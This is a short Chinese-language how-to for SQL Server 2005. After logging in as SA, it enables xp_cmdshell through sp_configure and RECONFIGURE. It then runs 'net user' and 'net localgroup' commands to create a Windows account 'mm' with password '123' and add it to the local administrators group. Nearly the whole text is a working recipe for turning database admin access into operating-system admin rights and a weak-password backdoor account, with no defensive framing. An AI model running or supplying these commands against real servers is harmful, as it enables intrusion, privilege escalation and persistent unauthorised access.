用SA进入SQL SERVER2005,运行以下命令:
先开启xp_cmdshell:
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
然后建一个windows账户:
exec xp_cmdshell 'net user mm 123 /add'
exec xp_cmdshell 'net localgroup administrators mm /add'